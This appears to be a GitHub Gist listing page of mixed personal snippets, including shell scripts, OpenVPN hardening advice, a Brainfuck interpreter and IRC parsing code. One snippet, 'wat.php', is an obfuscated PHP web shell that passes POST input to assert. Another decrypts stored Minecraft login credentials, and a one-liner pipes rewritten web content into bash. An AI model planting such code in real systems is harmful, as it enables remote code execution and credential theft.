Skip to content

Instantly share code, notes, and snippets.

@0xa
0xa / rebuild_res.sh
Created September 7, 2014 20:00
Wallpaper cache updater
#!/bin/zsh
size="$1"
input="../wallpapers/"
output="./wallpapers_$size/"
mkdir -p $output
walls_count=$(ls -1 $input | wc -l)
count=0
@0xa
0xa / wat.php
Last active August 29, 2015 14:07
Wat.
<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/1/*-/*-*//*-/*-*//*-/*-*//*-/*-*//*-/*-*/]);
?>
Removed comments:
<?php
@$_="s"."s"."e"."r";

Hi there,

How to secure correctly your OpenVPN connection you said?

Yes! This little code snippet will improve drasticaly the strength of your OpenVPN connection while keeping very good performances. You just have to add the code available below at the end of you configuration file.

Important precisions

  • It may not work everywhere. @Korben (Twitter) got a problem because his server didn't support ECDHE, if you can't use this configuration then try to change ECDHE by DHE in the tls-cipher parameters. It should works but it will consume more battery if you are on a mobile/laptop because it will not use Elliptic curves to make the handshake.
  • You should check if your processor have AES-NI instructions. If yes then the key generation / exchange should be protected from SPA (Simple Power Analysis) and DPA (Differencial Power Analysis) attacks and AES will be a lot faster.

Debian: Mail Server

Intro

Domain: example.com
Server Name: elaninwe
Server FQDN: elaninwe.example.com
Our user: aria

@0xa
0xa / q.py
Created August 14, 2015 17:29
select_c = DBSession.query(VPNSession,
VPNSession.connect_date.label('ev_date'),
sae.literal_column("'c'").label('ev_type')) \
.order_by(VPNSession.connect_date.desc()) \
.limit(10)
select_d = DBSession.query(VPNSession,
VPNSession.disconnect_date.label('ev_date'),
sae.literal_column("'d'").label('ev_type')) \
.filter(VPNSession.disconnect_date != None) \
@0xa
0xa / lastcrack.py
Created July 10, 2012 21:21
Minecraft lastlogin decrypt
import Crypto.Random
from Crypto.Cipher import DES
import hashlib
import struct
password = "passwordfile";
salt = "\x0c\x9d\x4a\xe4\x1e\x83\x15\xfc";
iteration_count = 5;
def decrypt(ciphertext):
@0xa
0xa / brainfuuu.cpp
Created July 24, 2012 23:18
BrainFUUU
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <exception>
#define LOOP_STACK_SIZE 64
#define DATA_BUFFER_SIZE 1024
class BrainFUUU {
public:
<?php
function encode($data) {
global $format;
array_unshift($data, $format);
$raw = call_user_func_array("pack", $data);
$encoded = bin2hex($raw);
return $encoded;
}
function decode($encoded) {
@0xa
0xa / Message.py
Created September 4, 2012 20:08
IRC message encoding/decoding
import re
class BadMessageInput(Exception):
pass;
class Message:
buffer = "";
prefix = "";
@0xa
0xa / gist:3686309
Created September 9, 2012 18:32
Download Infected Mushroom discography in one line
curl http://infected-mushroom.com/music/ | sed 's/.*href\=\"([a-zA-Z0-9/=]+)\" title="([a-zA-Z0-9 ]+)".*/wget $(echo "\1"|base64 -d) -O "\2.mp3"/pg' -rn | bash